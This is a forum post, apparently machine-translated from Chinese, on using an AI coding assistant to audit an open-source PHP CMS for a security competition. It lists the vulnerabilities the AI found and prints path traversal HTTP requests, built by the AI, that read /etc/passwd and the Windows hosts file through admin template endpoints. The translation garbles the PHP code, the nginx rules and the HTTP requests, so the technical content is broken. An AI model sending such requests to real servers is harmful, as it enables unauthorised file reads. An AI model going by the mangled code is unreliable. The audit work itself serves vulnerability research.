跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

结合阿里云通义灵码辅助新手小白快速代码审计的最佳实践

精选回复

发布于

本文介绍了笔者在一次数据安全竞赛中遇到的一个开源框架的代码审计流程。作者使用了多种工具,特别是“统一灵马”,帮助发现了多个高危漏洞,包括路径遍历、文件上传、目录删除、SQL注入和XSS漏洞。文章详细介绍了如何使用这些工具来定位和验证漏洞,并分享了使用“统一灵马”的经验。最后,作者总结了人工智能在代码审计方面的优缺点,并展望了未来的发展方向。

前言

我已经快两个月没有更新文章了。我想向大家说声对不起。由于个人原因,这段时间一直在准备比赛,所以还没有写出九月份参加云栖大会后的感想,以及兴奋回顾大模型平台的文章。争取在接下来的两个月内把这些内容全部补回来。

我们准备的比赛是关于数据安全的。由于队伍由几位经验丰富的领队带领,我们自然顺利晋级全国总决赛。至于为什么要写这篇文章?说来也巧,半决赛的时候,一架靶机挡住了我们,观众席上没人能拿到炮弹。该无人机采用开源框架,互联网上没有公开的漏洞信息。由于比赛是在局域网环境下进行,所以没有办法直接拉下代码进行审核。

比赛结束后,我仍然担心这件事,所以这两周我仔细审核了框架,确实发现了一些有趣的、潜在的漏洞。在这个过程中,《统一灵玛》给了我很大的帮助,帮我节省了很多时间。在这里,我想通过这篇文章来分享一下我在整个过程中的发现和一些经验。暂时算是一个最佳实践。

审核对象

本次审核对象主要有两个:某开源PHP最新版本6.0和某开源OA最新版本2.6.5。借助统一灵代码,共审计了开源PHP最新6.0版本中的4个高危漏洞和开源OA最新2.6.5版本中的1个高危漏洞。它们已提交至CNVD平台并存档。

image.png

工具准备

环境构建工具

phpstudy_pro(小皮板):国内流行的一键安装环境包。它集成了PHP、MySQL、Apache/Nginx等服务,方便开发者快速搭建上述两个靶场建设的Web开发和测试环境。

代码审计工具

Seay源码审计:基于C#语言开发的PHP代码安全审计系统,主要运行在Windows系统上。该软件可以发现SQL注入、代码执行、命令执行、文件包含、文件上传、逃逸保护绕过、拒绝服务、XSS跨站、信息泄露、任意URL跳转等漏洞,基本涵盖了常见的PHP漏洞。另外,在功能上,支持一键审计、代码调试、功能定位、插件扩展、自定义规则配置、代码高亮、编码调试转换、数据库执行监控等数十种强大功能,由于已停止维护,无法从官网下载。百度云盘地址如下:https://pan.baidu.com/s/1HHnniTNWzXhb-pn6OZgexA 密码:75ji

CodeScan:基于GO语言的快速匹配汇点的工具。用起来没问题。地址如下:https://github.com/Zjackky/CodeScan

**RIPS:**Rips 是一个用PHP 编写的源代码分析工具。它利用静态分析技术自动检测PHP代码中的安全漏洞,如XSS(跨站脚本攻击)、SQL注入、文件泄露、头注入等。Rips不仅提供直观的扫描结果展示,还集成了代码审计框架,方便渗透测试人员直接查看分析结果,大大提高了代码审计的效率。地址如下:https://rips-scanner.sourceforge.net/

代码编写及辅助工具

Visual Studio Code:(简称VS Code)是微软开发的免费开源代码编辑器,支持Windows、macOS和Linux平台。

统一灵马:这次的主角是一款基于统一大模型的AI研发辅助工具,包括AI编码助手和AI程序员。其中,AI编码助手帮助开发者写代码、添加代码、写注释、写单元测试、写代码优化和排查问题,是开发者的编码伙伴; AI程序员是一款AI编程代理,可以模拟软件架构师、开发工程师、测试工程师等各个岗位的能力,在几分钟内自主完成任务拆解、代码编写、缺陷修复、测试等编程相关任务,为企业软件研发降本增效。

可惜我还没有申请AI程序员试用资格,所以暂时只能以灵马为例。

源代码下载

由于是开源代码,因此可以在Github、gitee和站长网站上免费下载。一些开源网站如果有定制服务,也可能有自己的主站点。

image.png

image.png

环境设置

将下载的源码放在phpstudy的www目录下

image.png

进入phpstudy_pro\WWW\cltopen-master\cltopen-master\config目录,修改数据库配置文件

image.png

修改后即可进入数据库,导入开源项目的示例数据库

image.png

打开phpstudy并设置域名和根目录

image.png

设置伪静态(必填)

地点/{

if (!-e $request_filename){

最后重写^(.*)$ /index.php?s=$1;休息;

}

}

image.png

点击确认,打开浏览器访问域名即可查看

OA系统的搭建也是如此,只不过OA自带了初始化数据库的启动界面,所以不需要手动修改数据库配置文件。

审计管理

环境搭建完成后,就可以开始准备代码审计了。通常,代码审计的第一步应该是熟悉框架并通读代码。具体方法与个人编码能力和对编程语言的熟悉程度有关。有时,为了快速审核,会使用上述工具进行标记和注释。由于工具内置的正则规则不同,所以结果会略有不同。如果你想尽可能地找到所有的漏洞点,你应该以上述工具的结果总和作为参考。

值得一提的是,有时工具可能会有遗漏和误报,因此这里的结果仅供参考,需要人工审核和验证。

image.png

image.png

这套开源代码确实存在不少漏洞,后台快速测试显示存在SQL注入,所以我们只挑选危害性比较高的漏洞进行挖掘,重点关注文件读取、文件包含、文件上传等方法。

在排除5.5版本的代码以及之前存在并已修复的漏洞后,最终锁定到后台管理控制层下的Template.php文件(本次我们这里仅进行挖掘分析)

源码分析

打开源码,进入Template.php页面。可以看到代码如下:

image.png

主要定义了一个Template控制类,用于管理模板文件的增删改查操作,以及图片文件的管理和删除。

像往常一样,我们应该根据上述审查工具提示的代码位置进行分析和判断,但现在有了统一灵马,一切都变得不一样了。

首先我们选择所有代码并使用提示词如下:

据了解,该代码存在安全漏洞。请找出您能识别的漏洞并简要分析漏洞产生的原因。

这个提示有几个关键点:

我们需要明确告知灵马这里确实存在安全漏洞,也是一个确认主题,避免输出其他内容。我们需要告知、找出它可以识别的漏洞、减少误报和泛化判断。最终的结果是分析漏洞的原因,让安全工程师更容易理解。之后,Lingma会对代码进行静态审查,结果如下:

安全漏洞及分析

1. 路径遍历漏洞

位置:插入、编辑、更新、删除、imgDel、图像方法

原因:用户输入的文件路径和文件名没有经过严格验证,可能导致路径遍历攻击。例如,通过在文件名中包含./,攻击者可以访问或操纵任意文件。

示例:

php

$filename=input('post.file'); //用户输入未经过验证

$path=$type==$this-viewSuffix ? $this-filepath : $this-publicpath.$type.'/';

$文件=$路径.$文件名.'.'.$类型; //可能会导致路径遍历

2. 文件上传漏洞

位置:插入、更新方法

原因:用户上传的内容未经严格验证,可能导致恶意代码注入。例如,攻击者可以通过上传恶意脚本文件来执行任意代码。

示例:

php

file_put_contents($file, stripslashes(input('post.content'))); //内容未验证

3.目录删除漏洞

位置:imgDel方法

原因:用户输入的目录路径没有经过严格验证,可能导致任意目录被删除。

示例:

php

$path=$this-publicpath.'images/'.input('post.folder'); //用户输入未经过验证

$file=$path.input('post.filename'); //可能会导致路径遍历

is_dir($文件) ? dir_delete($file) : 取消链接($file); //删除目录或文件

4.SQL注入漏洞

位置:没有明显的SQL注入风险,但需要注意后续可能引入的数据库操作。

原因:虽然当前代码没有直接的SQL操作,但如果后续版本引入数据库操作,如果用户输入处理不当,可能会导致SQL注入。

5.XSS漏洞

地点:编辑,图片方法

原因:用户输入的内容没有进行转义,可能导致跨站脚本攻击(XSS)。

示例:

php

$content=file_get_contents($file); //未转义

$this-assign('内容',$内容); //直接输出到页面

image.png

每个漏洞都标注了漏洞产生的方法和原因,不存在的漏洞也有明确说明(不抱幻想)

接下来我们要做的就是进入Web界面,找到这里的方法被调用的位置。

路径遍历漏洞、任意文件删除漏洞

image.png

使用BP抓包,以edit方法为例,可以发现拼接方法为admin/module/method/操作对象类型/操作对象image.png

观察到下面的update方法保存后可以直接执行,所以这里尝试直接替换为edit方法。

请求包如下:

获取/admin/template/edit.html HTTP/1.1

主机:xxx.xxx.xxx.xxx

升级不安全请求: 1

User-Agent: Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

推荐人: http://public/admin/template/index.html

Accept-Encoding: gzip、deflate、br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie:皮肤=0;皮肤=0; uid=2;令牌=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8

连接:关闭

假设你是一个完全看不懂代码的新手,你也可以选择把这个请求包扔进去:

已知的请求包如下。请帮忙修改请求包来验证该漏洞是否存在:

image.png

这时它会根据当前传入的参数自动构造一个修改后的返回包:

获取/admin/template/edit.html?file=././././etc/passwd HTTP/1.1

主机:xxx.xxx.xxx.xxx

升级不安全请求: 1

User-Agent: Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

推荐人: http://public/admin/template/index.html

Accept-Encoding: gzip、deflate、br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie:皮肤=0;皮肤=0; uid=2;令牌=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8

连接:关闭

默认以Linux服务器路径为例。你也可以告诉他是Windows系统,让他再修改一下。

GET /admin/template/edit.html?file=.\.\.\.\Windows\System32\drivers\etc\hosts HTTP/1.1

主机:xxx.xxx.xxx.xxx

升级不安全请求: 1

User-Agent: Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

推荐人: http://public/admin/template/index.html

Accept-Encoding: gzip、deflate、br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie:皮肤=0;皮肤=0; uid=2;令牌=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8

连接:关闭

另外,还提供了漏洞分析和预期结果:

漏洞分析

文件名参数:file=.\.\.\.\Windows\System32\drivers\etc\hosts

该参数尝试通过路径遍历的方式访问Windows系统根目录下的C:\Windows\System32\drivers\etc\hosts文件。如果服务器存在路径遍历漏洞,则该请求将返回hosts文件的内容。

其他参数:保留原始请求中的其他参数,以保证请求的完整性和有效性。

预期结果

如果服务器容易受到路径遍历的攻击,则响应将包含主机文件的内容。

如果服务器不易受到攻击,则响应可能包含一条错误消息,指示该文件不存在或无法访问。

回到BP,我们尝试根据当前路径进行验证,并成功复现漏洞。我们可以任意读取文件内容:

image.png

image.png

再举一个例子,找到Images 方法

image.png

使用BP抓包可以直接抓到以下地址:

image.png

使用spirit代码直接构造请求包如下:

获取/admin/template/images.html?folder=././HTTP/1.1

主机:xxx.xxx.xxx.xxx

升级不安全请求: 1

User-Agent: Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

推荐人: http://public/admin/template/index.html

Accept-Encoding: gzip、deflate、br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie:皮肤=0; uid=2;令牌=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8

连接:关闭

可以在图片查看界面遍历文件目录:

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。